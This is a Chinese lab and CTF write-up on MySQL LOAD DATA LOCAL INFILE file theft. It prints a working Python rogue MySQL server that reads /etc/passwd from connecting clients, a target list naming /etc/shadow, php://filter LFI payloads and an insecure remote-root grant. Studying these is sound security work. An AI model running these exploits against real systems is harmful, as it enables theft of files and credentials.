mysql读取文件

news2024/10/5 13:44:41

环境地址:phpMyAdmin LOAD DATA INFILE 任意文件读取漏洞 | VULNSPY

参考文章:

mysql任意文件读取漏洞学习_BerL1n的博客-CSDN博客

从一道ctf题学习mysql任意文件读取漏洞 - 安全客,安全资讯平台

MYSQL 任意文件读取

小组CTF出题感想 - x1a0t's Blog

一句话总结:伪造恶意的mysql客户端去请求服务器的资源

下列情况都存在mysql文件读取问题:

  • MySQL Client
  • PHP + mysql/mysqli
  • PHP + PDO (MYSQL_ATTR_LOCAL_INFILE)
  • Python + MySQLdb
  • Python3 + mysqlclient
  • Java + JDBC Driver

于是出现的常见payload有如下几种

https://raw.githubusercontent.com/Gifts/Rogue-MySql-Server/
https://github.com/allyshka/Rogue-MySql-Server
https://github.com/jas502n/CVE-2019-12086-jackson-databind-file-read

漏洞原因

利用了Load data infile语法,在mysql客户端登陆mysql服务端后,客户端执行语句Load data local infile '/etc/passwd' into table proc;从而可以导致mysql进行本地或远程读取文件。

漏洞复现(phpmyadmin)

前置条件

phpmyadmin开启了如下选项

$cfg['AllowArbitraryServer'] = true; //false改为true

则登录时就可以访问远程的服务器。当登陆一个恶意构造的Mysql服务器时,即可利用load data infile读取该服务器上的任意文件。当然前提条件是secure_file_priv参数允许的目录下,且phpmyadmin的用户对该文件有读的权限。

过程

登录网页,进去在/root/exp下,把脚本的3306端口,改位3307

运行脚本

python rogue_mysql_server.py,

然后访问80端口,使用host:db:3307登录phpmyadmin。

我们回到exp目录下面,然后发现了一个文件。mysql.log,我们读取文件,就可以/etc/passwd ,内容已经被读取到了。

exp

exp下载链接

https://github.com/Gifts/Rogue-MySql-Server/

首先,需要配置恶意服务器,然后再file_list选取要读取的文件

PORT = 3306

log = logging.getLogger(__name__)

log.setLevel(logging.DEBUG)
tmp_format = logging.handlers.WatchedFileHandler('mysql.log', 'ab')
tmp_format.setFormatter(logging.Formatter("%(asctime)s:%(levelname)s:%(message)s"))
log.addHandler(
    tmp_format
)

filelist = (
#    r'c:\boot.ini',
    r'c:\windows\win.ini',
#    r'c:\windows\system32\drivers\etc\hosts',
#    '/etc/passwd',
#    '/etc/shadow',
)

简化的exp分三步走战略

1.回复mysql client一个greeting包
2.等待client端发送一个查询包
3.回复一个file transfer包
# -*- coding:utf-8 -*-
__author__ = 'leezp'
import socket
import logging

# 读取mysql客户端本地文件,目前的脚本有读取长度限制,特别大的文件读取不完整

logging.basicConfig(level=logging.DEBUG)

filename = "/etc/passwd"
# filename="/root/Desktop/pass.txt"
sv = socket.socket()
sv.bind(("", 9999))
sv.listen(5)
conn, address = sv.accept()
logging.info('Conn from: %r', address)
# 1 Greeting
conn.sendall("\x4a\x00\x00\x00\x0a\x35\x2e\x37\x2e\x33\x30\x00\x19\x00\x00\x00\x18\x5b\x10\x16\x2d\x4e\x3b\x7b\x00\xff\xff\x08\x02\x00\xff\xc1\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x78\x42\x40\x67\x53\x2d\x55\x52\x0e\x01\x29\x26\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00")
conn.recv(9999)
# 2 Accept all authentications
conn.sendall("\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00")
logging.info("auth okay")
conn.recv(9999)
# 3 read file
# wantfile = chr(len(filename) + 1) + "\x00\x00\x01\xFB" + filename
# print(wantfile)
aaa = "\x01\x00\x00\x01\x14\x2e\x00\x00\x02\x03\x64\x65\x66\x00\x00\x00\x18\x61\x75\x74\x6f\x5f\x69\x6e\x63\x72\x65\x6d\x65\x6e\x74\x5f\x69\x6e\x63\x72\x65\x6d\x65\x6e\x74\x00\x0c\x3f\x00\x15\x00\x00\x00\x08\xa0\x00\x00\x00\x00\x2a\x00\x00\x03\x03\x64\x65\x66\x00\x00\x00\x14\x63\x68\x61\x72\x61\x63\x74\x65\x72\x5f\x73\x65\x74\x5f\x63\x6c\x69\x65\x6e\x74\x00\x0c\x21\x00\x0c\x00\x00\x00\xfd\x00\x00\x1f\x00\x00\x2e\x00\x00\x04\x03\x64\x65\x66\x00\x00\x00\x18\x63\x68\x61\x72\x61\x63\x74\x65\x72\x5f\x73\x65\x74\x5f\x63\x6f\x6e\x6e\x65\x63\x74\x69\x6f\x6e\x00\x0c\x21\x00\x0c\x00\x00\x00\xfd\x00\x00\x1f\x00\x00\x2b\x00\x00\x05\x03\x64\x65\x66\x00\x00\x00\x15\x63\x68\x61\x72\x61\x63\x74\x65\x72\x5f\x73\x65\x74\x5f\x72\x65\x73\x75\x6c\x74\x73\x00\x0c\x21\x00\x0c\x00\x00\x00\xfd\x00\x00\x1f\x00\x00\x2a\x00\x00\x06\x03\x64\x65\x66\x00\x00\x00\x14\x63\x68\x61\x72\x61\x63\x74\x65\x72\x5f\x73\x65\x74\x5f\x73\x65\x72\x76\x65\x72\x00\x0c\x21\x00\x12\x00\x00\x00\xfd\x00\x00\x1f\x00\x00\x26\x00\x00\x07\x03\x64\x65\x66\x00\x00\x00\x10\x63\x6f\x6c\x6c\x61\x74\x69\x6f\x6e\x5f\x73\x65\x72\x76\x65\x72\x00\x0c\x21\x00\x33\x00\x00\x00\xfd\x00\x00\x1f\x00\x00\x22\x00\x00\x08\x03\x64\x65\x66\x00\x00\x00\x0c\x69\x6e\x69\x74\x5f\x63\x6f\x6e\x6e\x65\x63\x74\x00\x0c\x21\x00\x00\x00\x00\x00\xfd\x00\x00\x1f\x00\x00\x29\x00\x00\x09\x03\x64\x65\x66\x00\x00\x00\x13\x69\x6e\x74\x65\x72\x61\x63\x74\x69\x76\x65\x5f\x74\x69\x6d\x65\x6f\x75\x74\x00\x0c\x3f\x00\x15\x00\x00\x00\x08\xa0\x00\x00\x00\x00\x1d\x00\x00\x0a\x03\x64\x65\x66\x00\x00\x00\x07\x6c\x69\x63\x65\x6e\x73\x65\x00\x0c\x21\x00\x09\x00\x00\x00\xfd\x00\x00\x1f\x00\x00\x2c\x00\x00\x0b\x03\x64\x65\x66\x00\x00\x00\x16\x6c\x6f\x77\x65\x72\x5f\x63\x61\x73\x65\x5f\x74\x61\x62\x6c\x65\x5f\x6e\x61\x6d\x65\x73\x00\x0c\x3f\x00\x15\x00\x00\x00\x08\xa0\x00\x00\x00\x00\x28\x00\x00\x0c\x03\x64\x65\x66\x00\x00\x00\x12\x6d\x61\x78\x5f\x61\x6c\x6c\x6f\x77\x65\x64\x5f\x70\x61\x63\x6b\x65\x74\x00\x0c\x3f\x00\x15\x00\x00\x00\x08\xa0\x00\x00\x00\x00\x27\x00\x00\x0d\x03\x64\x65\x66\x00\x00\x00\x11\x6e\x65\x74\x5f\x62\x75\x66\x66\x65\x72\x5f\x6c\x65\x6e\x67\x74\x68\x00\x0c\x3f\x00\x15\x00\x00\x00\x08\xa0\x00\x00\x00\x00\x27\x00\x00\x0e\x03\x64\x65\x66\x00\x00\x00\x11\x6e\x65\x74\x5f\x77\x72\x69\x74\x65\x5f\x74\x69\x6d\x65\x6f\x75\x74\x00\x0c\x3f\x00\x15\x00\x00\x00\x08\xa0\x00\x00\x00\x00\x26\x00\x00\x0f\x03\x64\x65\x66\x00\x00\x00\x10\x71\x75\x65\x72\x79\x5f\x63\x61\x63\x68\x65\x5f\x73\x69\x7a\x65\x00\x0c\x3f\x00\x15\x00\x00\x00\x08\xa0\x00\x00\x00\x00\x26\x00\x00\x10\x03\x64\x65\x66\x00\x00\x00\x10\x71\x75\x65\x72\x79\x5f\x63\x61\x63\x68\x65\x5f\x74\x79\x70\x65\x00\x0c\x21\x00\x09\x00\x00\x00\xfd\x00\x00\x1f\x00\x00\x1e\x00\x00\x11\x03\x64\x65\x66\x00\x00\x00\x08\x73\x71\x6c\x5f\x6d\x6f\x64\x65\x00\x0c\x21\x00\x9b\x01\x00\x00\xfd\x00\x00\x1f\x00\x00\x26\x00\x00\x12\x03\x64\x65\x66\x00\x00\x00\x10\x73\x79\x73\x74\x65\x6d\x5f\x74\x69\x6d\x65\x5f\x7a\x6f\x6e\x65\x00\x0c\x21\x00\x09\x00\x00\x00\xfd\x00\x00\x1f\x00\x00\x1f\x00\x00\x13\x03\x64\x65\x66\x00\x00\x00\x09\x74\x69\x6d\x65\x5f\x7a\x6f\x6e\x65\x00\x0c\x21\x00\x12\x00\x00\x00\xfd\x00\x00\x1f\x00\x00\x2b\x00\x00\x14\x03\x64\x65\x66\x00\x00\x00\x15\x74\x72\x61\x6e\x73\x61\x63\x74\x69\x6f\x6e\x5f\x69\x73\x6f\x6c\x61\x74\x69\x6f\x6e\x00\x0c\x21\x00\x2d\x00\x00\x00\xfd\x00\x00\x1f\x00\x00\x22\x00\x00\x15\x03\x64\x65\x66\x00\x00\x00\x0c\x77\x61\x69\x74\x5f\x74\x69\x6d\x65\x6f\x75\x74\x00\x0c\x3f\x00\x15\x00\x00\x00\x08\xa0\x00\x00\x00\x00\xff\x00\x00\x16\x01\x31\x04\x75\x74\x66\x38\x04\x75\x74\x66\x38\x04\x75\x74\x66\x38\x06\x6c\x61\x74\x69\x6e\x31\x11\x6c\x61\x74\x69\x6e\x31\x5f\x73\x77\x65\x64\x69\x73\x68\x5f\x63\x69\x00\x05\x32\x38\x38\x30\x30\x03\x47\x50\x4c\x01\x30\x07\x34\x31\x39\x34\x33\x30\x34\x05\x31\x36\x33\x38\x34\x02\x36\x30\x07\x31\x30\x34\x38\x35\x37\x36\x03\x4f\x46\x46\x89\x4f\x4e\x4c\x59\x5f\x46\x55\x4c\x4c\x5f\x47\x52\x4f\x55\x50\x5f\x42\x59\x2c\x53\x54\x52\x49\x43\x54\x5f\x54\x52\x41\x4e\x53\x5f\x54\x41\x42\x4c\x45\x53\x2c\x4e\x4f\x5f\x5a\x45\x52\x4f\x5f\x49\x4e\x5f\x44\x41\x54\x45\x2c\x4e\x4f\x5f\x5a\x45\x52\x4f\x5f\x44\x41\x54\x45\x2c\x45\x52\x52\x4f\x52\x5f\x46\x4f\x52\x5f\x44\x49\x56\x49\x53\x49\x4f\x4e\x5f\x42\x59\x5f\x5a\x45\x52\x4f\x2c\x4e\x4f\x5f\x41\x55\x54\x4f\x5f\x43\x52\x45\x41\x54\x45\x5f\x55\x53\x45\x52\x2c\x4e\x4f\x5f\x45\x4e\x47\x49\x4e\x45\x5f\x53\x55\x42\x53\x54\x49\x54\x55\x54\x49\x4f\x4e\x03\x55\x54\x43\x06\x53\x59\x53\x54\x45\x4d\x0f\x52\x45\x50\x45\x41\x54\x41\x42\x4c\x45\x2d\x52\x45\x41\x44\x05\x32\x38\x38\x30\x30\x07\x00\x00\x17\xfe\x00\x00\x02\x00\x02\x00"
conn.sendall(aaa)
print('------------')
content = conn.recv(9999)
print('++++++++++++')
wantfile = "\x0c\x00\x00\x01\xfb\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"
logging.info("read file...")
conn.sendall(wantfile)
content = conn.recv(9999)  
#print content
logging.info(content)
conn.close()

漏洞防御

  • 关闭local_infile参数,禁止导入本地文件
  • 开启–ssl-mode=VERIFY_IDENTITY参数,防止连接不安全的mysql服务器

kali复现

kali开启local-infile设置

可以看到,已经将/etc/passwd下的文件读取进去了。

load data infile 'xxx' into table test; 将服务端文件存入test表中// 受害者服务器
load data local infile into table test; //自己的mysql所在的位置。

当我们开启mysql远程的服务,使用windows去连接kali的mysql

  1. 允许root用户远程连接
GRANT ALL PRIVILEGES ON . TO 'username'@'%' IDENTIFIED BY 'password' WITH GRANT OPTION;
  1. 修改 127.0.0.1 为 0.0.0.0
vim /etc/mysql/mariadb.conf.d/50-server.cnf
  1. 重启服务

Service mysql restart

这时候执行load data local infile '/etc/passwd' into table test; ,会有--secure-file-priv提示。

secure_file_priv 值为null ,表示限制mysqld 不允许导入|导出
secure_file_priv 值为 /var/lib/mysql-files/,表示限制mysqld 的导入|导出只能在该目录下
secure_file_priv 无值,表示不对mysqld 的导入|导出做限制

我们需要先置为空,就能得到想要的效果。

CTF实战

<?php

define(ROBOTS, 0);
error_reporting(0);

if(empty($_GET["action"])) {
    show_source(__FILE__);
} else {
    include $_GET["action"].".php";
}

有文件包含,在define里提示了 robots.txt。访问后得到了

User-agent:*

Disallow:/install

Disallow:/admin
http://ctf.chaffee.cc:23333/?action=php://filter/convert.base64-encode/resource=admin/index
http://ctf.chaffee.cc:23333/?action=php://filter/convert.base64-encode/resource=install/index

用base64伪协议去读取。

然后的到了flag的地址

<?php
if
 (!defined("ROBOTS"
)) {
die("Access Denied");}

echo
 "Congratulate hack to here, But flag in /var/www/flag.flag"
;

之后得到了这里

<?php


if
(file_exists("./install.lock")) {
    
die
("Have installed!");}


$host = $_REQUEST['host'];
$user = $_REQUEST['user'];
$passwd = $_REQUEST['passwd'];
$database = $_REQUEST['database'];

if(!empty($host) && !empty($user) && !empty($passwd) && !empty($database)) {
    $conn = newmysqli($host, $user, $passwd);
    if($conn->connect_error) {      
    die($conn->connect_error);} 
else
 {
        $conn->query(
    "DROP DATABASE ".$database);
        $conn->query("CREATE DATABASE ".$database);
//To be continued
        mysqli_close($conn);
        $config = "<?phpn$config=";
        $config .= var_export(
        array("host"=>$host, "user"=>$user, "passwd"=>$passwd), TRUE).";";
       file_put_contents(md5($_SERVER["REMOTE_ADDR"])."/config.php", $config);
    }
}

该文件首先判断当前目录有无install.lock,我们通过上一级目录的文件包含漏洞可以绕过这个判断。下面是接受用户输入登陆mysql数据库,登陆成功的话会执行两个没有任何过滤的SQL语句,然后执行一个文件写入的操作。

按照正常步骤来的话,最后会报一个,No such file or directory的错误。

在执行file_put_contents()函数时,插入了一个文件夹md5($_SERVER["REMOTE_ADDR"])

,而这个函数在文件夹不存在的情况下是不能新建文件夹的,因此这个file_put_contents()

函数并不能利用。

这时,就需要使用mysql来读取这个文件。

第二道题目

https://blog.csdn.net/qq_41107295/article/details/100743094

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1133166.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

linux离线环境中进入docker镜像安装python包

背景 当发现docker镜像因缺少python包执行失败时,需要修改docker镜像,这时候需要用到这个方法 执行失败步骤 (1)、拷贝docker镜像文件 (2)、加载镜像文件 docker load -i jetz_match.tar(3)、执行容器 docker run --name jetz_match -v /opt/jetz_match:/jetzmatch…

第2篇 机器学习基础 —(2)分类和回归

前言&#xff1a;Hello大家好&#xff0c;我是小哥谈。机器学习中的分类和回归都是监督学习的问题。分类问题的目标是将输入数据分为不同的类别&#xff0c;而回归问题的目标是预测一个连续的数值。分类问题输出的是物体所属的类别&#xff0c;而回归问题输出的是数值。本节课就…

waf绕过

1.市场Waf分类 硬件Waf&#xff1a;绿盟、安恒、启明、知道创宇等 需要选择模式 透明模式 反向代理分为反向代理&#xff08;代理模式&#xff09;与反向代理&#xff08;牵引模式&#xff09; 反向代理又分为两种模式&#xff0c;反向代理…

C++常见容器实现原理

引言 如果有一天&#xff01;你骄傲离去&#xff01;&#xff08;抱歉搞错了&#xff09;如果有一天&#xff0c;你在简历上写下了这段话&#xff1a; 那么你不得不在面试前实现一下STL常见的容器了。C的常用容器有&#xff1a;vector、string、deque、stack、queue、list、se…

合宙ESP32C3之Arduino、MicroPython上手

此处所说的ESP32C3&#xff0c;是合宙9.9元包邮的那一款&#xff0c;即所谓的“简约款”&#xff0c;无串口芯片。虽然有串口芯片的经典款版本兼容性更好&#xff0c;但随着各种IDE的不断升级&#xff0c;无串口使用起来也能游刃有余。 1.Arduino环境搭建 首先到Arduino.cc上下…

利用MATLAB创建栅格地图(代码可复制)

先做一个声明&#xff1a;文章是由我的个人公众号中的推送直接复制粘贴而来&#xff0c;因此对智能优化算法感兴趣的朋友&#xff0c;可关注我的个人公众号&#xff1a;启发式算法讨论。我会不定期在公众号里分享不同的智能优化算法&#xff0c;经典的&#xff0c;或者是近几年…

CoDeSys系列-3、Windows运行时软PLC主站和p-net从站IO设备组网测试

CoDeSys系列-3、Windows运行时软PLC主站和p-net从站IO设备组网测试 文章目录 CoDeSys系列-3、Windows运行时软PLC主站和p-net从站IO设备组网测试一、前言二、Windows运行时软plc配置编程1、安装Windows下的运行时扩展包&#xff08;非必要&#xff09;2、创建项目2.1、创建标准…

基于Java的新闻发布管理系统设计与实现(源码+lw+部署文档+讲解等)

文章目录 前言具体实现截图论文参考详细视频演示为什么选择我自己的网站自己的小程序&#xff08;小蔡coding&#xff09; 代码参考数据库参考源码获取 前言 &#x1f497;博主介绍&#xff1a;✌全网粉丝10W,CSDN特邀作者、博客专家、CSDN新星计划导师、全栈领域优质创作者&am…

爬虫进阶-反爬破解8(反爬的实战练习:爬虫文件的解析和数据的抓取+反爬措施的分析和突破+Scrapy接入Cookie池管理系统+分布式爬虫的架设)

目录 一、爬虫文件的解析和数据的抓取 &#xff08;一&#xff09;项目的知识点 &#xff08;二&#xff09;实践操作&#xff1a;新建项目抓取数据 &#xff08;三&#xff09;总结 二、反爬措施的分析和突破 &#xff08;一&#xff09;项目知识点补充 &#xff08;二…

binutils 2.40 Linker (ld) 官方文档下载

前言 最近需要熟悉 elf 与 共享库 的链接与加载流程&#xff0c;需要先了解 elf 文件 是怎么链接的&#xff0c;链接脚本如何阅读 最有效的方式是查看 GNU 官方的 Linker (ld) 文档&#xff0c;通过查找&#xff0c;这个 Linker (ld) 属于 GNU binutils&#xff0c;当前的较新…

JS DataTable中导出PDF中文乱码

JS DataTable中导出PDF中文乱码 文章目录 JS DataTable中导出PDF中文乱码一. 问题二. 原因三. vfs_fonts.js四. pdfmake.js五. 解决六.参考资料 一. 问题 二. 原因 DataTable使用pdfmake&#xff0c;pdfmake默认字体为Roboto&#xff0c;不支持中文字体。添加自己的字体&#…

Shopee本土店与跨境店有何区别?如何入驻?

截止到目前&#xff0c;虾皮全球覆盖的站点已经有11个&#xff0c;其中东南亚站点依然是消费力强劲的大站点&#xff0c;包括马来西亚、泰国、印度尼西亚、菲律宾、越南、新加坡。到了2023&#xff0c;仍然有非常大的市场空间。 东南亚人口密度大&#xff0c;还是全球网络发展…

【项目管理】项目中如何进行风险管理

&#x1f449;博__主&#x1f448;&#xff1a;米码收割机 &#x1f449;技__能&#x1f448;&#xff1a;C/Python语言 &#x1f449;公众号&#x1f448;&#xff1a;测试开发自动化【获取源码商业合作】 &#x1f449;荣__誉&#x1f448;&#xff1a;阿里云博客专家博主、5…

threejs(4)-纹理材质高级操作

一、纹理重复_缩放_旋转_位移操作 // 导入threejs import * as THREE from "three"; // 导入轨道控制器 import { OrbitControls } from "three/examples/jsm/controls/OrbitControls.js"; // 导入lil.gui import { GUI } from "three/examples/jsm/l…

基于5G网关的风力发电远程监测方案优势

风力发电是清洁能源的典型代表&#xff0c;是我国能源结构转型的重要组成。近年来我国大力发展风能、水能、光伏等清洁能源&#xff0c;加速双碳战略&#xff0c;长期致力于创造人与生态友好和谐的人居社会。 针对风力发电机组和厂区的运营和管理&#xff0c;5G技术、物联网技…

CrossOver23.6软件激活码怎么获取 CrossOver软件2023怎么激活

CrossOver一款类虚拟机&#xff0c;它的主要功能是在mac系统中安装windows应用程序。其工作原理是将exe格式的windows应用程序安装包安装至CrossOver容器中&#xff0c;并将运行该exe文件所需的配置文件下载至容器中&#xff0c;便能在mac正常运行windows应用程序了。下面就让我…

JavaSE介绍与第一个Java程序

JavaSE介绍与第一个Java程序 一、Java简介二、Java特点三、编译运行过程四、JDK、JRE和JVM的关系五、第一个Java程序1、HelloWorld2、注意事项 六、标识符与命名规范1、标识符&#xff08;1&#xff09;什么是标识符&#xff08;2&#xff09;标识符的命名规则 2、命名规范&…

C++初阶:C/C++内存管理

一.C/C内存分布 先来回顾一下C语言内存分区示意图如下&#xff1a; 代码区&#xff1a; 程序执行代码一般存放在代码区&#xff0c;字符串常量以及define定义的常量也可能存放在代码区。 常量区&#xff1a; 字符串&#xff0c;数字等常量以及const修饰的全局变量往往存放在…

【UE】UMG通信的三种方法

目录 前言 方法一&#xff1a;通过“获取类的所有控件”节点通信 方法二&#xff1a;当创建控件蓝图时传入其它控件蓝图的对象引用 *方法三&#xff1a;使用HUD类来管理UMG通信 前言 首先我们创建了三个控件蓝图&#xff0c;那么其中的一个控件蓝图如何与剩下的控件蓝图通…